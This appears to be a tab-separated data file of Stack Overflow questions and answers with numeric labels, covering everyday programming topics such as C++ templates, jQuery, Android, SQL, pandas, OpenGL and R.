19165257	0	C++ template issue to Pull Up the Builder pattern into a configuration? <p>I have an algorithm that requires a large number of parameters (i.e. configuration) as part of its constructor and also requires some clearly defined creational steps. Therefore I have created a <a href="http://en.wikipedia.org/wiki/Builder_pattern" rel="nofollow">Builder Pattern</a> implementation that allows to set the needed parameters and create the intermediate and final instance e.g.</p> <pre><code>// somewhere class SomeAlgo { public: SomeAlgo(double a, double b, double c, double d, double e /* etc */); ; </code></pre> <p>Now I define the Builder to be e.g.</p> <pre><code>class SomeAlgoBuilder { public: SomeAlgo&amp; createResult() { /* TODO: */ } virtual SomeAlgoBuilder&amp; creationStep1() = 0; virtual SomeAlgoBuilder&amp; creationStep2() = 0; virtual SomeAlgoBuilder&amp; creationStep3() = 0; // example setter note the builder returns *this SomeAlgoBuilder&amp; setA(double a) { a_ = a; return *this; } SomeAlgoBuilder&amp; setB(double b) { b_ = b; return *this; } // etc }; </code></pre> <p>At this point everything looks ok but now I would like to <code>Pull Up</code> the setters of the builder into a <code>SomeAlgoConfig</code> class so that I can also cover the use-case of passing around a simple configuration instead of a convoluted long list of parameters. This simple configuration is what in Java is known as a Value Object or Bean. The new Builder would be like this:</p> <pre><code>// not "is a" config but need the implementation inheritance // &gt;&gt;&gt;&gt;&gt;&gt; note the need to pass SomeAlgoBuilder as template class SomeAlgoBuilder : private SomeAlgoConfig&lt;SomeAlgoBuilder&gt; { public: SomeAlgo&amp; createResult() { /* TODO: */ } virtual SomeAlgoBuilder&amp; creationStep1() = 0; virtual SomeAlgoBuilder&amp; creationStep2() = 0; virtual SomeAlgoBuilder&amp; creationStep3() = 0; }; </code></pre> <p>Now the <code>SomeAlgoConfig</code> implementation:</p> <pre><code>template&lt;T&gt; class SomeAlgoConfig { T&amp; setA(double a) { a_ = a; return *static_cast&lt;T*&gt;(this); } T&amp; setB(double b) { b_ = b; return *static_cast&lt;T*&gt;(this); } // etc } </code></pre> <p>and the intent is to be used like this:</p> <pre><code>SomeAlgoConfig config; // &lt;&lt;&lt; here it won't compile because it misses the T parameter config.setA(a).setB(b).setC(c); </code></pre> <p>This will do the trick I guess. However, whenever I'd like to use <code>SomeAlgoConfig</code> on its own (outside the context of a Builder) e.g. to pass it as parameter I need to declare it with a template parameter which would be itself <code>SomeAlgoConfig&lt;SomeAlgoConfig&gt;</code>. How can I define it in a way that it defaults to itself as template type? e.g. doing this doesn't work: <code>template&lt;typename T = SomeAlgoConfig&gt; class SomeAlgoConfig</code> because the <code>SomeAlgoConfig</code> is not yet known at that point. </p>
30985073	0	WAMP crashed after computer shutted down <p>Wamp doesn't work since my computer suddenly shutted down (having run Wamp), yet before that it was working fine. The system is Win7 64-bit.</p> <p>I'd installed again Wamp x64, problem hadn't been solved. I did the same with Wamp x32 but problem still was current.</p> <p>When I select <code>Apache-&gt;Service-&gt;Test Port 80</code>, I get <code>Your port 80 is not actually used</code>. When it is <code>Apache-&gt;Service-&gt;Install service</code>, I get <code>Your port 80 is available, Install will proceed</code>. After restart nothing gets turn to the better.</p> <p>Moreover, when I get in <code>Apache-&gt;Modules</code>, there is exclamation mark in red triangle next to 4 Apache modules: <code>auth_form_module</code>, <code>cache_socache_module</code>, <code>macro_module</code>, <code>proxy_wstunnel_module</code>. In the past, about 1 installation back, I couldn't connect to MySQL.</p> <p><strong>Port 80 is NOT used</strong> by Skype, IIS or whatever else - I've checked it by various methods. No firewall or antivirus hits the spot - before it was running with no problem.</p> <p>Doings in <code>httpd.conf</code>, including changing port number to 8080 or 81, brings no progression.</p> <p>I walked through half of internet but no solution solves the problem. Wamp icon is still red, when i hit <code>localhost</code>, <em>NOT FOUND</em> is printed.</p>
13393751	0	Change values in <td>'s with jquery <p>I have a table of values. Is it possible with JQuery by clicking on currency link to change value in cells with exchange rates? This static example table</p> <pre><code>&lt;table border="1"&gt; &lt;tr&gt; &lt;td class="currency"&gt;100&lt;/td&gt; &lt;td class="currency"&gt;200&lt;/td&gt; &lt;td class="current"&gt;now in USD&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="currency"&gt;150&lt;/td&gt; &lt;td class="currency"&gt;230&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="currency"&gt;400&lt;/td&gt; &lt;td class="currency"&gt;200&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="currency"&gt;550&lt;/td&gt; &lt;td class="currency"&gt;2920&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;a href="#" class="USD"&gt;USD&lt;/a&gt; &lt;a href="#" class="EUR"&gt;EUR&lt;/a&gt; </code></pre> <p>Pls look <a href="http://jsfiddle.net/halofourteen/PjPYV/2/" rel="nofollow">jsfiddle</a>. In other words by clicking on currency values must recalculate them according to rates. In my example on jsfiddle I want to understand how simply change value(for example <code>usd=1</code> <code>eur=1.3</code>) Thanks!</p>
10631885	0	 <p>Simply dropping in the files and refreshing is sufficient. Eclipse will automatically ammend the package declaration in the Java sources.</p> <p>That all being said, you should be looking at using a version control system such as CVS or subversion for example.</p>
19730743	0	 <p>My solution using a <a href="http://developer.android.com/reference/android/app/ListFragment.html" rel="nofollow"><code>ListFragment</code></a>, based on the solutions by @Jakobud and @greg7gkb.</p> <pre><code>ListView listView = getListView(); listView.setDivider(null); listView.setDividerHeight(getResources().getDimensionPixelSize(R.dimen.divider_height)); listView.setHeaderDividersEnabled(true); listView.setFooterDividersEnabled(true); View padding = new View(getActivity()); listView.addHeaderView(padding); listView.addFooterView(padding); </code></pre>
34632493	0	 <p><strong>There is no standard way to get the battery level for an iBeacon.</strong> Some manufacturers like Kontakt store the battery level in an extra byte at the end of the broadcast, which is true for the post you reference. However, this will not work for all manufacturers.</p> <p>Another common way to get the info is with a proprietary connectable Bluetooth LE service. It is unclear whether the beacons you are using have this capability. Even if they do, you need to be able to get a public API from the manufacturer to figure out how to do it. If the manufacturer does not publish this, then you are out of luck unless you can reverse engineer it yourself.</p> <p>Again, every manufacturer is different, so you must find a different solution for each beacon type. </p>
6574683	0	 <p>You need to handle the <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.checkbox.checkedchanged.aspx" rel="nofollow">Checkbox changed event</a> after this you can determine if it is your collection or not and add or remove it accordingly</p>
9330386	0	 <p>Have you read the <a href="http://www.cc.gatech.edu/~bader/COURSES/GATECH/CSE6140-Fall2007/papers/LC87.pdf" rel="nofollow">original paper</a>? It's very nicely explained.</p>
20963409	0	 <p>SBAR stands for Subordinate Clause (see <a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.9.8216&amp;rep=rep1&amp;type=pdf">here</a>). In your case the subordinate clause starts with the subordinate conjunction <em>After</em></p>
16213950	0	 <p>You could try something like this: <a href="http://jsfiddle.net/MQrd6/3/" rel="nofollow">http://jsfiddle.net/MQrd6/3/</a></p> <p>The trick is to set the width of <code>border-image</code> same as <code>border-width</code>:</p> <pre><code>#leaf { width: 760px; vertical-align: middle; border-width: 22px; border-image: url(http://img703.imageshack.us/img703/4976/leafy.png) 22 22 round; } </code></pre> <p>No versions of IE supports border-image. To give support in IE you could try <a href="http://css3pie.com/" rel="nofollow">CSS3pie</a>, a simple library that allows you to use several CSS3 features in IE6 or higher.</p>
29268120	0	 <p>Your <code>outfile2</code> is a <code>PrintWriter</code>. Somewhat surprisingly, <a href="http://docs.oracle.com/javase/8/docs/api/java/io/PrintWriter.html" rel="nofollow"><code>PrintWriter</code> methods don't throw exceptions</a>.</p> <blockquote> <p>Methods in this class never throw I/O exceptions, although some of its constructors may. The client may inquire as to whether any errors have occurred by invoking checkError().</p> </blockquote> <p>That explains why your first code doesn't throw <code>IOException</code>.</p> <p>In your second code, you add a call to <code>readLine()</code>, probably from a <code>BufferedReader</code>, that does throw <code>IOException</code>.</p>
29831363	0	 <p>You set the api endpoint like this:</p> <pre><code>cf api https://api.ng.bluemix.net </code></pre> <p>and then you login with <code>cf login</code>.</p> <p>Alternatively you can use the European endpoint:</p> <pre><code>cf api https://api.eu-gb.bluemix.net </code></pre> <p>EDIT:</p> <p>Alternatively, as you were implying, you can pass the API endpoint to <code>cf login</code> directly via the <code>-a</code> option:</p> <pre><code>cf login -a https://api.ng.bluemix.net -u &lt;ibm.com id&gt; </code></pre>
7357749	0	wp7 sms sending recieving and sms interceptors <p>Is there any way to send and recieve sms in wp7?</p> <p>And is there any way smsinterceptors if not</p> <p>is there any alternative way to do it?</p> <p>Any third party tool like that?</p>
9874489	0	 <p>The new animation should take the current transform (translation) into account:</p> <pre><code> CATransform3D leftTransform = CATransform3DMakeRotation(wobbleAngle, 0.0f, 0.0f, 1.0f); leftTransform = CATransform3DConcat(layer.transform, leftTransform); CATransform3D rightTransform = CATransform3DMakeRotation(-wobbleAngle, 0.0f, 0.0f, 1.0f); rightTransform = CATransform3DConcat(layer.transform, rightTransform); NSValue* valLeft = [NSValue valueWithCATransform3D:leftTransform]; NSValue* valRight = [NSValue valueWithCATransform3D:rightTransform]; </code></pre> <p>Where <code>layer</code> is the layer that will be animated.</p>
39989023	0	 <p>The best way to deal with this is by indexing into the rows using a Boolean series as you would in R.</p> <p>Using your df as an example,</p> <pre><code>In [5]: df.Col1 == "what" Out[5]: 0 True 1 False 2 False 3 False 4 False 5 False 6 False Name: Col1, dtype: bool In [6]: df[df.Col1 == "what"] Out[6]: Col1 Col2 Col3 Col4 0 what the 0 0 </code></pre> <p>Now we combine this with the pandas isin function.</p> <pre><code>In [8]: df[df.Col1.isin(["men","rocks","mountains"])] Out[8]: Col1 Col2 Col3 Col4 2 men of 2 16 4 rocks lips 4 32 6 mountains history. 6 48 </code></pre> <p>To filter on multiple columns we can chain them together with &amp; and | operators like so.</p> <pre><code>In [10]: df[df.Col1.isin(["men","rocks","mountains"]) | df.Col2.isin(["lips","your"])] Out[10]: Col1 Col2 Col3 Col4 2 men of 2 16 3 to your 3 24 4 rocks lips 4 32 6 mountains history. 6 48 In [11]: df[df.Col1.isin(["men","rocks","mountains"]) &amp; df.Col2.isin(["lips","your"])] Out[11]: Col1 Col2 Col3 Col4 4 rocks lips 4 32 </code></pre>
9642721	0	 <p>Use <a href="http://api.jquery.com/val/" rel="nofollow"><code>.val()</code></a>, not <a href="http://api.jquery.com/attr/" rel="nofollow"><code>.attr()</code></a>, to set an element's value.</p> <p><a href="http://jsfiddle.net/mattball/jjjSf/" rel="nofollow">http://jsfiddle.net/mattball/jjjSf/</a></p> <hr> <p>As a side note, that's not remotely how <code>.attr()</code> — or JavaScript as a language — works. You cannot use a function call on the left-hand side of an assignment statement. It is meaningless.</p>
19378842	0	 <p>On further analysis, I found that the error boils up to an IOException in the Persistence class. The class <code>ErrorNode</code> must implement <code>Serializable</code> and that should do the trick</p> <blockquote> <p><strong>EDIT:</strong> If you are a jbpm developer, you may want to look at the above error trace that does not give an indication that it is in fact a serialization error on the programmers side that resulted in this error. The actual exception does not propagate to the output.</p> </blockquote>
10020444	0	 <p><a href="http://jsfiddle.net/yUgYW/3/" rel="nofollow">http://jsfiddle.net/yUgYW/3/</a></p> <p>this is what I get this far.. could be a start for you</p> <p><strong>HTML</strong></p> <pre><code>&lt;div id="container"&gt; &lt;ul&gt; &lt;li class="fisrt"&gt;1&lt;/li&gt; &lt;/ul&gt; &lt;ul class="center"&gt; &lt;li&gt;2&lt;/li&gt; &lt;li&gt;3&lt;/li&gt; &lt;li&gt;4&lt;/li&gt; &lt;/ul&gt; &lt;ul&gt; &lt;li class="last"&gt;5&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt;​ </code></pre> <p><strong>CSS</strong></p> <pre><code>#container { } li {float:left; border:1px solid red; width:120px;} .fisrt { float:left; } .last { float:right; } .center { width:400px; margin:auto; }​ </code></pre>
39976421	0	Degenerate a single SQL table into multiple domaines tables <p><strong>In short:</strong> I have a client who wish to be able to add domain tables, without adding SQL tables.</p> <p>I am working with an application in wich data are organized and made available with a postgresql <em>catalogue</em>. What I mean by <em>catalogue</em> is that the database hold the path to the actual data file(s) as well as some metadata.</p> <p>Adding a new table means that the (Java class of the) client application has to be updated. This is a costly process for the client, who want us to find a way to let him add new kind of data in the catalogue, without having to change the schema.</p> <p>I don't have many more specificities about the db itself and it's configuration as I'm usualy mostly a client of the said db.</p> <p><strong>My idea:</strong> to solve this was to have a generic table with the most often used columns (like date, comment etc.) and a column containing a <em>domain key</em>. The <em>domain key</em> would be used by the client application to request the kind of generic data is needed (and would have no meaning whatsoever to the db provider). Adding metadata could be done with a companion file within the catalogue and further filtering would have to be done on the client side.</p> <p><strong>Question:</strong> as I am by no mean an SQL expert, I would like to know if it is an acceptable solution, and what limitation I could be facing ? I'm thinking of performance, data volume etc. Or maybe a different approach, is advisable ?</p> <p>Regarding expected volume, for a single domain data type, it could be arround 30 new entry per day.</p>
5351492	0	 <p>try this</p> <pre><code>preg_replace('@(?&lt;!http:)//.*@','',$test); </code></pre> <p>also read more about PCRE assertions <a href="http://cz.php.net/manual/en/regexp.reference.assertions.php" rel="nofollow">http://cz.php.net/manual/en/regexp.reference.assertions.php</a></p>
30023822	0	 <p>I think by calling <code>AsyncTask</code> in <code>for</code> loop, it might start another task while the previous one still in <code>doInbackground()</code> that will result in multiple progress running because of this:</p> <p><code>pDialog = new ProgressDialog(getActivity());</code></p> <p>You will have a reference on the last started progress, so <strong>calling dismiss will only hide last one, while the other X progress(es) will remain active</strong>.</p> <p>So, either:</p> <ol> <li>Start the progress one time, before starting the <code>for loop</code> and stop it at <code>onPostExecute()</code> of last asyncTask</li> </ol> <p>Or </p> <ol start="2"> <li>Move the for loop inside <code>doInBackground()</code> as @StackOverflowUser stated</li> </ol>
20637122	1	python IDLE shell appears not to handle some escapes correctly <p>For example \b backspace prints as quad (shown as [] in example below). But \n newline is Ok.</p> <pre><code>&gt;&gt;&gt; print 'abc\bd' abc[]d &gt;&gt;&gt; print 'abc\nd' abc d </code></pre> <p>Im running under Vista (pro), python 2.7</p> <p>Ive tried googling this issue generally and in SO and cant find anything relevant, which seems odd and makes me wonder if theres some setting or other may be wrong in my setup. Not sure what to look for. </p>
24600172	0	 <p>Looks like no impacts from the AD perspectives. From a DNS perspective, Azure assigned IP addresses to the machines in the order that they were restarted, so to avoid confusing DNS, I restarted the VMs in order of increasing IP address.</p> <p>Needed to make sure SQL Server data volumes were attached before starting the machine, otherwise the database would show as being in a pending recovery state.</p> <p>Also, apps that depend on MAC address (such as some license servers) did require new license files, as the MAC address changed.</p>
15315792	0	 <p><code>voltage</code>- int, current battery voltage in millivolts</p> <p><code>temperature</code> - int, current battery temperature in tenths of a degree Centigrade</p> <p><a href="http://hi-android.info/src/com/android/server/BatteryService.java.html">Here is the source file </a></p>
21391166	0	 <p>You could use the WITH clause to achieve the same effect:</p> <pre><code>WITH DISTINCT_TALENTS(PERSONID, TALENT) AS (SELECT DISTINCT PERSONID, TALENT FROM TALENTS) SELECT DISTINCT PERSONID, TALENT FROM (SELECT A.PERSONID, CASE WHEN TALENT_COUNT = 2 THEN 'BOTH' ELSE A.TALENT END FROM DISTINCT_TALENTS A INNER JOIN (SELECT PERSONID, COUNT(TALENT) TALENT_COUNT FROM DISTINCT_TALENTS GROUP BY PERSONID) B ON A.PERSONID = B.PERSONID) </code></pre> <p>First you create a virtual DISTINCT_TABLES table:</p> <pre><code>+------------------+ | personid talent | +------------------+ | 1 play | | 1 swim | | 2 play | | 3 swim | +------------------+ </code></pre> <p>next you create a subquery b with the following</p> <pre><code>+------------------------+ | personid talent_count | +------------------------+ | 1 2 | | 2 1 | | 3 1 | +------------------------+ </code></pre> <p>you join with original DISTINCT_TALENTS to obtain</p> <pre><code>+----------+--------+--------------+ | personid | talent | talent_count | +----------+--------+--------------+ | 1 | both | 2 | | 1 | both | 2 | | 2 | play | 1 | | 3 | swim | 1 | +----------+--------+--------------+ </code></pre> <p>you take the distinct personid, talent to obtain the final result.</p> <p>A solution similar to using exists is:</p> <pre><code>SELECT DISTINCT PERSONID, TALENT FROM ( SELECT B.PERSONID, CASE WHEN A.TALENT IS NULL THEN 'swim' WHEN B.TALENT IS NULL THE 'play' ELSE 'both' END TALENT FROM TALENTS A FULL OUTER JOIN TALENTS B ON A.PERSONID = B.PERSONID AND A.TALENT='play' AND B.TALENT='swim' ) </code></pre> <p>And finally, also with the <code>EXISTS</code> function used like a lookup function:</p> <pre><code>SELECT DISTINCT PERSONID, TALENT FROM ( SELECT A.PERSONID, CASE WHEN A.TALENT = 'play' AND EXISTS (SELECT 1 FROM TALENTS B WHERE A.PERSONID = B.PERSONID AND B.TALENT = 'swim') THEN 'both' WHEN A.TALENT = 'swim' AND EXISTS (SELECT 1 FROM TALENTS B WHERE A.PERSONID = B.PERSONID AND B.TALENT = 'play') THEN 'both' ELSE A.TALENT END TALENT FROM TALENTS A) </code></pre>
1535014	0	 <p>I thought Professional SQL Server 2005 Performance Tuning by WROX was pretty excellent.</p>
411996	0	 <p>There are four main open-source relational database management systems of note that might be appropriate to this sort of application: Postgresql, MySQL, Firebird and Ingres. There are other systems such as <a href="http://www.sqlite.org/" rel="nofollow noreferrer">SQLite,</a> but they do not have this type of architecture and are not really designed for this type of workload. Some other open-source database management systems of this type do exist, but do not appear to be strongly viable for some reason, such as a lack of apparent vendor commitment. An example of a system that has this type of issue is <a href="http://en.wikipedia.org/wiki/MaxDB" rel="nofollow noreferrer">SAP-DB.</a></p> <p><a href="http://www.postgresql.org/" rel="nofollow noreferrer">Postgresql</a> has the best feature set of any of the open-source databases, and support for XA transactions, which you will probably want if your application is a three-tier system and supports transactions of non-trivial complexity. In particular you will want this if you want to do transactions spanning more than one call to the database.</p> <p>Several commercial variants of PostgreSQL have been built over the years, such as <a href="http://en.wikipedia.org/wiki/Illustra" rel="nofollow noreferrer">Illustra,</a> <a href="http://www.greenplum.com/" rel="nofollow noreferrer">Greenplum</a> and <a href="http://www.enterprisedb.com/" rel="nofollow noreferrer">EnterpriseDB.</a> Illustra was a commercial release of PostgreSQL which was subsequently bought by Informix. Greenplum is a mofified version designed for data warehousing applications. EnterpriseDB is a company that provides supported commercial versions of PostgreSQL with some value-added software.</p> <p><a href="http://www.mysql.com/" rel="nofollow noreferrer">MySQL</a> 5.x has a feature set that supports a reasonable cross section of capabilities, but it is not as feature-rich as PostgreSQL. It has more widespread mainstream acceptance and would be the easiest of the open-source database management systems to recruit skilled developers for. Although older versions did not have robust transaction support, transactional storage engines such as <a href="http://www.innodb.com/" rel="nofollow noreferrer">InnoDB</a> have been available for some time. The <a href="http://www.oracle.com/corporate/press/2005_oct/inno.html" rel="nofollow noreferrer">current</a> <a href="http://www.oracle.com/corporate/press/2006_feb/sleepycat.html" rel="nofollow noreferrer">politics</a> <a href="http://www.mysql.com/news-and-events/sun-to-acquire-mysql.html" rel="nofollow noreferrer">surrounding</a> the acquisition by Sun have generated <a href="http://news.oreilly.com/2008/07/mysql-forks-could-drizzle-be-t.html" rel="nofollow noreferrer">code forks</a> and the MySQL landscape is <a href="http://ronaldbradford.com/blog/understanding-the-various-mysql-products-variants-2009-03-13/" rel="nofollow noreferrer">somewhat messy,</a> with controversy about <a href="http://monty-says.blogspot.com/2008/11/oops-we-did-it-again-mysql-51-released.html" rel="nofollow noreferrer">quality issues in the 5.1 release.</a> However, MySQL is by far the most popular and best known of the open-source database management systems and is the only one with significant brand recognition outside of open-source circles.</p> <p><a href="http://www.firebirdsql.org/" rel="nofollow noreferrer">Firebird</a> is an open-source version of Interbase. Last I looked, it did not have XA support but would be fine if your application was set up as a two-tier client-server system. <strong>Update:</strong> I can't find a definitive specification on this, but the documentation does indicate that it has support for two-phase commit, but what I could find was not specific on whether it supported the XA protocol. The documentation implies that the JDBC driver does have support for two-phase commits. </p> <p>An interesting variant on this system is <a href="http://www.janus-software.com/fb_fyracle.html" rel="nofollow noreferrer">Fyracle</a>, which is designed to offer a degree of compatibility with Oracle. This was originally developed for use as a back-end to <a href="http://www.compiere.com/" rel="nofollow noreferrer">Compiere</a>, which was built against Oracle and quite tightly coupled to it.</p> <p><a href="http://www.ingres.com/" rel="nofollow noreferrer">Ingres</a> is now available with an open-source license, but has been greeted with a bit of a collective yawn by the open-source community. However It is quite feature-rich and very mature - I know people who were doing INGRES apps in 1990, and it dates back to the 1980s. </p>
25848195	0	Android - Thread safety while updating arraylist <p>My Activity consists of a BroadcastReceiver and an AsyncTask, both of them update an ArrayList (very often). I understand that an AsyncTask runs in the background, and there may be a possibility where the BroadcastReceiver and the AsyncTask threads may update the ArrayList at the same time. How can I make them thread-safe ?</p> <p>EDIT: As alexander mentioned, a BroadcastReceiver is run on the main thread unless you explicitly implement it otherwise.</p>
33939920	0	Preventing startx after login on my Raspberry pi <p>I'm trying to set up my pi to operate through SSH in anticipation of a robot project. I've successfully set up a SSH client on my laptop (PuTTY) and enabled SSH using raspi-config. I can login to the pi via SSH but the screen, having displayed the login progress becomes unresponsive, whatever I type in is ignored. There is only a 'block' cursor and no raspverrypi 'prompt' visible.</p> <p>On conncting the pi to a screen I see that LXDE has started. I assume this is my uderlying problem. How do I prevent startx from running automatically on login? </p>
39202772	0	Delphi 10.1 Berlin android 5.0.1 app crash on TEdit focus <p>I have a minimal firemonkey test app with one button and one TEdit control on form.</p> <p>If I run this app on Acer Tablet B1-770 on Andoid 5.0.1 happen following:</p> <p>If I click (or touch) in the edit control the app crashes. I have no problems with other android versions.</p> <p>Tried this solution but with no success (but this was for seattle version)</p> <p><a href="https://stackoverflow.com/questions/34595492/delphi-android-application-is-raising-issue-in-lennova-a5000-mobile%20%20Thanks%20in%20advance%20for%20help">https://stackoverflow.com/questions/34595492/delphi-android-application-is-raising-issue-in-lennova-a5000-mobile</a></p> <p>Some suggestions? Thanks</p>
16194335	0	 <p><code>INSERT INTO beneficiaries (quoteid, uid, name, percent) SELECT quoteid, uid, name, percent FROM children WHERE quoteid = '$quoteid'</code>;</p> <p>Adjust column names as needed.</p>
14278955	0	Assembly procedure calling from C (Intel 8086) <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/14278373/intel-8086-assembly-procedure-calling-from-c">Intel 8086 Assembly procedure calling from C</a> </p> </blockquote> <p>I need to prepare a procedure in Assembly for Intel 8086 able to be called from a C (pass a string and return an integer value (16bit)). My assembly procedure works perfectly fine "stand-alone". I need help with connecting them together.</p> <p>Program is supposed to run on Intel 8086. I need to use MASM or emu8086 as assembler/simulator. Kindly recommend a C compiler and also a way to make the simple C program that is able to call the assembly procedure and get the returned value.</p> <p><em>How can I connect the ASM file and the C file? (How will the compiler know where is the definition/code for this procedure?)</em></p> <p><em>How can I receive the string sent from C in Assembly language, also how to return the integer to C from Assembly?</em></p>
16930358	0	OpenGL does not draw as expected <p>I am currently working my way through the current OpenGL Programming Guide, Version 4.3. I implemented the code of the first example, that should display two triangles. Basically pretty simple. </p> <p>But nothing is displayed when I run that code (just the black window).</p> <p>This is the init function where the triangles are created:</p> <pre><code>GLuint vertexArrayObjects[1]; GLuint buffers[1]; const GLuint vertexCount = 6; void init() { // glClearColor(0,0,0,0); glGenVertexArrays(1, vertexArrayObjects); glBindVertexArray(vertexArrayObjects[0]); GLfloat vertices[vertexCount][1] { {-90.0, -90.0}, { 85.0, -90.0}, {-90.0, 85.0}, { 90.0, -85.0}, { 90.0, 90.0}, {-85.0, 90.0} }; glGenBuffers(1, buffers); glBindBuffer(GL_ARRAY_BUFFER, buffers[0]); glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices, GL_STATIC_DRAW); ShaderInfo shaders[] { {GL_VERTEX_SHADER, "one.vsh"}, {GL_FRAGMENT_SHADER, "one.fsh"}, {GL_NONE, nullptr} }; GLuint program = LoadShaders(shaders); glUseProgram(program); glVertexAttribPointer(0, 2, GL_FLOAT, GL_FALSE, 0, ((char *)NULL + (0))); glEnableVertexAttribArray(0); } </code></pre> <p>And the very simple draw:</p> <pre><code>void display() { glClear(GL_COLOR_BUFFER_BIT); glBindVertexArray(vertexArrayObjects[0]); glDrawArrays(GL_TRIANGLES, 0, vertexCount); glFlush(); } </code></pre> <p>But as said, nothing is drawn. Is there an error in my implementation?</p> <p><em>The full code is <a href="http://pastebin.com/4XpC2xZQ" rel="nofollow">here</a> and LoadShaders (straight from the books website, so this should be out of interest) is <a href="http://pastebin.com/ZQHdRhG4" rel="nofollow">here</a>. The shaders are <a href="http://pastebin.com/Ydf4PMSA" rel="nofollow">here</a>.</em></p>
16475412	0	 <p>Please try to search first your question on google if you not found your solution on google in that case you should post your question. See your answer on below link</p> <ol> <li><p><a href="http://stackoverflow.com/questions/2746478/how-can-i-loop-through-all-subviews-of-a-uiview-and-their-subviews-and-their-su">How can I loop through all subviews of a UIView, and their subviews and their subviews</a></p></li> <li><p><a href="http://stackoverflow.com/questions/7243888/how-to-list-out-all-the-subviews-in-a-uiviewcontroller-in-ios">How to list out all the subviews in a uiviewcontroller in iOS?</a></p></li> <li><p><a href="http://iphonedevsdk.com/forum/iphone-sdk-development/5599-removing-all-subviews-from-a-view.html" rel="nofollow">http://iphonedevsdk.com/forum/iphone-sdk-development/5599-removing-all-subviews-from-a-view.html</a></p></li> </ol>
30930751	0	 <p>Let's suppose the following two arrays and their "sum":</p> <pre><code>Array 1: 1 2 3 4 5 6 7 8 9 [length = 9] Array 2: 2 4 6 8 2 4 6 [length = 7] Sum : 3 6 9 12 7 10 13 8 9 [length = 9] </code></pre> <p>Pay attention to the last two items. The sum is equal to the value of the first array because the second array doesn't contain such number of values.</p> <pre><code>Array 1: 1 2 3 4 5 6 7 8 9 Array 2: 2 4 6 8 2 4 6 ? ? </code></pre> <p>That's exactly what algorithm does:</p> <p>1) While both arrays have numbers at <code>i</code> index - sum up.</p> <pre><code>ctr : ! ! ! ! ! ! ! \|/ [ ctr = 7 (remember: 0-based indexes)] Array 1: 1 2 3 4 5 6 7 8 9 [length = 9] Array 2: 2 4 6 8 2 4 6 [length = 7] Sum : 3 6 9 12 7 10 13 </code></pre> <p>Here <code>while (ctr &lt; array1.length &amp;&amp; ctr &lt; array2.length)</code> conditions breaks at <code>ctr &lt; array2.length</code>.</p> <p>Further, the check <code>ctr == array2.length</code> returns true meaning that the Array 2 is over and we need to continue iterating through the <code>array1</code>.</p> <pre><code>for (x = ctr; x &lt; array1.length; i++) { result.push(array1[x]); } </code></pre> <p>2) While the remaining array is not over - add values from it.</p> <pre><code>x : ! ! \|/ [ x = 10] Array 1: 1 2 3 4 5 6 7 8 9 [length = 9 ] Array 2: 2 4 6 8 2 4 6 [length = 7 ] Sum : 3 6 9 12 7 10 13 8 9 </code></pre>
4359372	0	Red5 changing the default location of storing media files <p>I've just started playing with Red5 and am developing an app using which users can record video messages. Now by default the video files are being saved in </p> <p>C:\Program Files\Red5\webapps\webcam_recorder\streams</p> <p>I am trying to figure out how I can change the default location and say be able to save it in c:\streams instead</p> <p>Secondly once I deploy to prod, my idea is to save these video files on Amazon S3 and have red5 stream from there. Is that possible. If so where in the config will I specify this change.</p> <p>Thanks a lot for your responses.</p>
12674575	0	Ribbon button not firing event set by onAction when clicked <p>I've designed an add-in to Outlook 2010 where I'm trying to fire (or, rather, catch) an event fired when a button is clicked as shown <a href="http://social.msdn.microsoft.com/Forums/en-US/vsto/thread/a3fa9ea5-6710-48c4-adb7-1f11afe34f81/">in this article</a>. I've targeted the right XML (since the changes to it are seen on the ribbon). However, The event I'm trying to catch is either not fired at all or (more likely) fired an other way than what my listened is looking (listening?).</p> <p>I also tried to go by the reference on MSDN <a href="http://msdn.microsoft.com/en-us/library/documentformat.openxml.office2010.customui.button.onaction.aspx">here</a>, <a href="http://msdn.microsoft.com/en-us/library/aa942866%28v=vs.100%29.aspx">here</a> and mostly <a href="http://msdn.microsoft.com/en-us/library/aa722523.aspx">here</a>. To no avail, though... I wonder if it's got to do with the "repurpose" information.</p> <p>Here's the markup.</p> <pre><code>&lt;tab idMso="TabMail"&gt; &lt;group id="group1" label="CRMK"&gt; &lt;button id="MyId" onAction="Button_Click" label="Do me!" size="large" /&gt; &lt;/group&gt; &lt;group id="group2" label="group2"&gt; &lt;button id="button1" label="button1" showImage="false" /&gt; &lt;/group&gt; &lt;/tab&gt; </code></pre> <p>And the code behind looks like this.</p> <pre><code>private void Button_Click(Object sender, RibbonControlEventArgs eventArgs) { MessageBox.Show("Button clicked..."); } </code></pre> <p>What am I missing? How can I debug such a thing?</p>
24375315	0	 <p>This works:</p> <pre><code>data={} with open(fn) as f: reader=csv.reader(f, delimiter='\t', quoting=csv.QUOTE_NONE) header=next(reader) for row in reader: data.setdefault(row[1], []).append(int(row[2])) print 'key\tmin\tmax' for k in data.keys(): print '{}\t{}\t{}'.format(k, min(data[k]), max(data[k])) </code></pre> <p>With your example data, prints:</p> <pre><code>key min max bye 2 7 hi 1 5 </code></pre>
35229671	0	If statements based on another column within a dataframe: in R <p>For a simple dataframe:</p> <pre><code>df &lt;- structure(list(id = 1:9, sex = structure(c(2L, 2L, 1L, 2L, 1L, 1L, 2L, 2L, 1L), .Label = c("f", "m"), class = "factor"), score = c(55L, 60L, 62L, 47L, 45L, 52L, 41L, 46L, 57L)), .Names = c("id", "sex", "score"), class = "data.frame", row.names = c(NA, -9L)) </code></pre> <p>I want to write some if statements based on score for males and females. The basic if function would go like this:</p> <pre><code>df$score3&lt;-ifelse(df$score &lt;45,"low", ifelse(df$score&gt;=45 &amp; df$score&lt;55,"normal", ifelse(df$score &gt;=55,"high", NA))) </code></pre> <p>How would I change this expression for males only (separate cut offs will be used for females (say low = &lt;50, normal = >=50 &amp; &lt;58, high = >=58)).</p> <p>If any advice could be given on using if statements based on another column within a dataframe, I would be most grateful.</p>
